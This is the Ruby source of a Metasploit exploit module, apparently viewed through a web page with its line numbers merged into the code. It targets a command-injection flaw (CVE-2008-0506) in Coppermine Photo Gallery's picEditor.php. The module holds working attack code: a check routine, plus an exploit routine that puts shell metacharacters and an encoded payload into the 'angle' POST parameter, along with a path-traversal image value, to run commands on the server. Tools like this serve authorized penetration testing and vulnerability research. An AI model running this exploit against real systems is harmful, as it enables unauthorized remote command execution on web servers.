Path: blob/master/modules/exploits/unix/webapp/coppermine_piceditor.rb
19812 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Coppermine Photo Gallery picEditor.php Command Execution',15'Description' => %q{16This module exploits a vulnerability in the picEditor.php script of17Coppermine Photo Gallery versions 1.4.14 and earlier. When configured to18use the ImageMagick library, the 'quality', 'angle', and 'clipval'19parameters are not properly escaped before being passed to the PHP20'exec' command.2122In order to reach the vulnerable 'exec' call, the input must pass23several validation steps.2425The vulnerabilities actually reside in the following functions:2627image_processor.php: rotate_image(...)28include/imageObjectIM.class.php: imageObject::cropImage(...)29include/imageObjectIM.class.php: imageObject::rotateImage(...)30include/imageObjectIM.class.php: imageObject::resizeImage(...)31include/picmgmt.inc.php: resize_image(...)3233NOTE: Use of the ImageMagick library is a non-default option. However, a34user can specify its use at installation time.35},36'Author' => [37'Janek Vind', # original discovery/exploit38'jduck' # metasploit version39],40'License' => MSF_LICENSE,41'References' => [42[ 'CVE', '2008-0506' ],43[ 'OSVDB', '41676' ],44[ 'EDB', '5019' ],45[ 'URL', 'http://forum.coppermine-gallery.net/index.php?topic=50103.0' ]46],47'Privileged' => true, # web server context48'Payload' => {49'DisableNops' => true,50'BadChars' => '\'', # input gets passed to htmlentities51'Space' => 1024,52},53'Platform' => [ 'unix' ],54'Arch' => ARCH_CMD,55'Targets' => [[ 'Automatic', {}]],56'DisclosureDate' => '2008-01-30',57'DefaultTarget' => 0,58'Notes' => {59'Reliability' => UNKNOWN_RELIABILITY,60'Stability' => UNKNOWN_STABILITY,61'SideEffects' => UNKNOWN_SIDE_EFFECTS62}63)64)6566register_options(67[68OptString.new('URI', [ true, "Coppermine directory path", "/cpg1414" ]),69]70)71end7273def check74res = send_request_raw({75'uri' => normalize_uri(datastore['URI'], '/picEditor.php')76}, 25)7778if (res and res.body =~ /Coppermine Picture Editor/i)79return Exploit::CheckCode::Appears80end8182return Exploit::CheckCode::Safe83end8485def exploit86valid_imgs = %w{87thumb_audio.jpg thumb_avi.jpg thumb_doc.jpg thumb_document.jpg thumb_gz.jpg88thumb_htm.jpg thumb_html.jpg thumb_mid.jpg thumb_midi.jpg thumb_mov.jpg thumb_movie.jpg89thumb_mp3.jpg thumb_mpeg.jpg thumb_mpg.jpg thumb_nopic.jpg thumb_ogg.jpg thumb_pdf.jpg90thumb_private.jpg thumb_qtv.jpg thumb_ra.jpg thumb_ram.jpg thumb_rar.jpg thumb_rm.jpg91thumb_rmj.jpg thumb_swf.jpg thumb_txt.jpg thumb_wav.jpg thumb_wma.jpg thumb_wmv.jpg92thumb_xls.jpg thumb_zip.jpg93}94img = '../../images/' + valid_imgs[rand(valid_imgs.length)]95# suppress errors from convert96angle = rand_text_numeric(1 + rand(8)) + ' -quiet 1 2'97# and exec our cmd :)98angle += ';' + payload.encoded + ';#'99100res = send_request_cgi({101'method' => 'POST',102'uri' => normalize_uri(datastore['URI'], "/picEditor.php"),103'vars_post' =>104{105'angle' => angle,106'quality' => '50', # not required, but fixes an error message107'newimage' => img108}109}, 25)110111if (res and res.code == 200)112print_good("Successfully POST'd exploit data")113else114fail_with(Failure::Unknown, "Error POSTing exploit data")115end116117handler118end119end120121122